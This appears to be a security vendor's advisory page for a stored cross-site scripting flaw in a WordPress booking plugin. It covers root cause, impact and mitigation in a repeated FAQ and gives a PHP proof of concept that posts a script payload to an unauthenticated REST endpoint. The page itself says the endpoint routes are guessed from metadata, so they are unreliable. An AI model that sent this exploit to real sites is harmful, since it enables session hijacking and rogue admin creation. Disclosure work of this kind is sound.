What is CVE-2026-14433?

CVE-2026-14433 is a stored Cross-Site Scripting (XSS) vulnerability in the Online Booking & Scheduling Calendar for WordPress by vcita plugin, affecting versions up to and including 4.6.0. It allows unauthenticated attackers to inject arbitrary web scripts via the ‘business_id’ parameter in a REST API endpoint, which execute when a user views an affected page.

How does the vulnerability work?

The plugin’s REST API endpoint accepts a ‘business_id’ parameter without proper sanitization or output escaping. An attacker can send a crafted request with a malicious script as the value, which is stored in the database. When the plugin renders this value in a page, the script executes in the context of the viewing user’s browser.

Who is affected by this vulnerability?

Any WordPress site running the vcita plugin version 4.6.0 or earlier is affected. Both unauthenticated visitors and authenticated users, including administrators, can be impacted if they view a page where the injected script is rendered.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin dashboard under Plugins. If it is 4.6.0 or lower, your site is vulnerable. You can also review your site’s REST API responses for the ‘business_id’ parameter to see if it contains unexpected HTML or JavaScript.

What is the CVSS score and what does it mean?

The CVSS score is 7.2 (High). This indicates a relatively high risk because the attack can be performed remotely without authentication, has low complexity, and can compromise the integrity and confidentiality of the site, though the direct impact on data confidentiality and integrity is limited.

How can I fix or mitigate the vulnerability?

Update the plugin to a patched version once available. Until then, you can mitigate by disabling the plugin’s REST API endpoints via a security plugin or custom code, or by using a Web Application Firewall (WAF) to block malicious requests targeting the ‘business_id’ parameter.

What does the proof of concept (PoC) demonstrate?

The PoC sends an unauthenticated POST request to the plugin’s REST API endpoint with a script payload in the ‘business_id’ parameter. If successful, the script is stored and executed when the page is viewed, demonstrating the stored XSS vulnerability.

Is authentication required to exploit this vulnerability?

No, the vulnerability can be exploited by unauthenticated attackers. The REST API endpoint does not require authentication or nonce verification, allowing anyone to send a malicious request.

What is the root cause of this vulnerability?

The root cause is improper neutralization of user input during web page generation (CWE-79). The plugin fails to sanitize the ‘business_id’ parameter before storing it and fails to escape it when outputting, allowing script injection.

What are the potential impacts of a successful exploit?

An attacker can inject JavaScript that executes in the context of any user viewing the affected page. This could lead to session hijacking, defacement, or performing actions on behalf of an administrator, such as creating rogue admin accounts or modifying site content.

How can I protect my site while waiting for a patch?

Consider disabling the plugin’s REST API endpoints using a security plugin or adding custom code to block requests to the vulnerable endpoint. Additionally, implement a WAF rule to filter out malicious payloads in the ‘business_id’ parameter.

Where can I find more information about this CVE?

Refer to the official CVE record (CVE-2026-14433) and the plugin’s changelog for updates. Security advisories from WordPress and reputable security research firms like Atomic Edge may also provide detailed analysis and guidance.

Published : August 14, 2026

CVE-2026-14433: Online Booking & Scheduling Calendar for WordPress by vcita <= 4.6.0 Unauthenticated Stored Cross-Site Scripting via REST API 'business_id' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-14433

Plugin meeting-scheduler-by-vcita

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 4.6.0

Patched Version —

Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14433 (metadata-based): This vulnerability is an unauthenticated stored Cross-Site Scripting (XSS) flaw in the Online Booking & Scheduling Calendar for WordPress by vcita plugin, versions up to and including 4.6.0. The issue exists in the REST API’s handling of the ‘business_id’ parameter, which lacks adequate input sanitization and output escaping. According to the CVSS vector (7.2, AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N), an unauthenticated attacker can remotely inject arbitrary web scripts that execute when any user, including administrators, views an affected page. This is a high-severity vulnerability when considering a WordPress admin context.

Root Cause: The vulnerability stems from improper neutralization of user-supplied input during web page generation, classified as CWE-79. Atomic Edge research infers that the plugin registers a REST API endpoint (likely under a namespace like ‘vcita’ or ‘meeting-scheduler-by-vcita’) that accepts a ‘business_id’ parameter from unauthenticated requests. The plugin likely does not apply sufficient sanitization (e.g., sanitize_text_field or sanitize_html_class) before storing the value, and does not escape it properly when rendering in the page (e.g., esc_html, esc_attr, wp_kses). As a result, an attacker can submit a crafted payload containing HTML/JavaScript through the ‘business_id’ parameter, which gets saved in the site’s options or post meta and later output without proper escaping. This conclusion is inferred from the CVE description and CWE classification, not confirmed from a source code diff, as the plugin is not available for download from wordpress.org.

Exploitation: An attacker exploits this by sending a crafted HTTP request to the plugin’s REST API endpoint. The exact REST route is not fully disclosed, but Atomic Edge research estimates a likely pattern: /wp-json/vcita/v1/settings or /wp-json/meeting-scheduler-by-vcita/v1/business_id. The vulnerable parameter is ‘business_id’. An attacker sends a POST or PUT request containing a payload like ‘alert(document.cookie)’ or an HTML-encoded variant as the value of ‘business_id’. Because the endpoint lacks authentication and CSRF protections (since it is REST API and stores the value), the attacker can execute this request without a nonce. Upon successful injection, the malicious script is stored in the database and rendered in pages where the plugin displays business details, such as the booking calendar or admin dashboard. The script executes in the context of the logged-in user’s session, leading to potential session hijacking or admin-level actions.

Remediation: The fix requires implementing proper input sanitization and output escaping throughout the plugin’s REST API handling and rendering logic. Specifically, the plugin should use WordPress sanitization functions like sanitize_text_field() or esc_url_raw() on the ‘business_id’ parameter before saving it. When outputting the value in HTML contexts, the plugin must use escaping functions such as esc_html(), esc_attr(), or wp_kses() to prevent HTML and JavaScript from being interpreted. If the plugin stores the value in a database table, it should also ensure that all database queries use prepared statements. Additionally, the plugin should implement capability checks and nonce verification for all REST API endpoints to prevent unauthenticated data modification, even though the primary vulnerability is XSS. Until a patched version is released, site owners should consider using a WAF rule or disabling the plugin’s REST API endpoints.

Impact: Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript into pages rendered by the plugin. When an administrator views the infected page, the attacker can steal session cookies, perform actions on behalf of the admin (such as creating rogue admin users or modifying site content), or redirect users to malicious domains. The stored nature of the attack makes it persistent, affecting all visitors who view the page. The CVSS score of 7.2 reflects the high availability of the attack (network, low complexity, no privileges required) and its potential to compromise the integrity and confidentiality of the site, though direct data exfiltration is limited by the low confidentiality and integrity impact ratings.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14433 - Online Booking & Scheduling Calendar for WordPress by vcita <= 4.6.0 - Unauthenticated Stored Cross-Site Scripting via REST API 'business_id' Parameter

/**
 * PoC: Exploit CVE-2026-14433 (metadata-based)
 * Sends an unauthenticated REST API request to inject a stored XSS payload in the 'business_id' parameter.
 * The exact REST route is inferred; adjust $api_base and $endpoint if needed.
 */

$target_url = 'http://example.com'; // Change this to the victim WordPress site URL
$api_base = rtrim($target_url, '/') . '/wp-json/';
$endpoint = 'vcita/v1/settings'; // Likely endpoint; may be 'meeting-scheduler-by-vcita/v1/settings'
$full_url = $api_base . $endpoint;

// XSS payload that executes JavaScript when rendered without output escaping
$payload = '<script>alert("XSS");</script>';

// Initialize cURL session
$ch = curl_init($full_url);

// Set cURL options for a POST request with JSON body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['business_id' => $payload]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Accept: application/json'
]);

// Execute the request and capture response
$response = curl_exec($ch);
$http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the result for debugging
if ($http_status === 200 || $http_status === 201) {
    echo "[+] Payload likely injected. HTTP status: $http_statusn";
    echo "[+] Response: $responsen";
} else {
    echo "[-] Request failed. HTTP status: $http_statusn";
    echo "[-] Response: $responsen";
}

// Note: If the endpoint does not exist or requires different HTTP methods (e.g., PUT), adjust accordingly.
// Try common alternatives: /wp-json/vcita/v1/store, /wp-json/meeting-scheduler-by-vcita/v1/setup
?>

Frequently Asked Questions

What is CVE-2026-14433?
Vulnerability overview
CVE-2026-14433 is a stored Cross-Site Scripting (XSS) vulnerability in the Online Booking & Scheduling Calendar for WordPress by vcita plugin, affecting versions up to and including 4.6.0. It allows unauthenticated attackers to inject arbitrary web scripts via the ‘business_id’ parameter in a REST API endpoint, which execute when a user views an affected page.
How does the vulnerability work?
Technical explanation
The plugin’s REST API endpoint accepts a ‘business_id’ parameter without proper sanitization or output escaping. An attacker can send a crafted request with a malicious script as the value, which is stored in the database. When the plugin renders this value in a page, the script executes in the context of the viewing user’s browser.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the vcita plugin version 4.6.0 or earlier is affected. Both unauthenticated visitors and authenticated users, including administrators, can be impacted if they view a page where the injected script is rendered.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in your WordPress admin dashboard under Plugins. If it is 4.6.0 or lower, your site is vulnerable. You can also review your site’s REST API responses for the ‘business_id’ parameter to see if it contains unexpected HTML or JavaScript.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 7.2 (High). This indicates a relatively high risk because the attack can be performed remotely without authentication, has low complexity, and can compromise the integrity and confidentiality of the site, though the direct impact on data confidentiality and integrity is limited.
How can I fix or mitigate the vulnerability?
Remediation steps
Update the plugin to a patched version once available. Until then, you can mitigate by disabling the plugin’s REST API endpoints via a security plugin or custom code, or by using a Web Application Firewall (WAF) to block malicious requests targeting the ‘business_id’ parameter.
What does the proof of concept (PoC) demonstrate?
PoC explanation
The PoC sends an unauthenticated POST request to the plugin’s REST API endpoint with a script payload in the ‘business_id’ parameter. If successful, the script is stored and executed when the page is viewed, demonstrating the stored XSS vulnerability.
Is authentication required to exploit this vulnerability?
Authentication requirement
No, the vulnerability can be exploited by unauthenticated attackers. The REST API endpoint does not require authentication or nonce verification, allowing anyone to send a malicious request.
What is the root cause of this vulnerability?
Underlying issue
The root cause is improper neutralization of user input during web page generation (CWE-79). The plugin fails to sanitize the ‘business_id’ parameter before storing it and fails to escape it when outputting, allowing script injection.
What are the potential impacts of a successful exploit?
Impact analysis
An attacker can inject JavaScript that executes in the context of any user viewing the affected page. This could lead to session hijacking, defacement, or performing actions on behalf of an administrator, such as creating rogue admin accounts or modifying site content.
How can I protect my site while waiting for a patch?
Temporary measures
Consider disabling the plugin’s REST API endpoints using a security plugin or adding custom code to block requests to the vulnerable endpoint. Additionally, implement a WAF rule to filter out malicious payloads in the ‘business_id’ parameter.
Where can I find more information about this CVE?
Additional resources
Refer to the official CVE record (CVE-2026-14433) and the plugin’s changelog for updates. Security advisories from WordPress and reputable security research firms like Atomic Edge may also provide detailed analysis and guidance.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started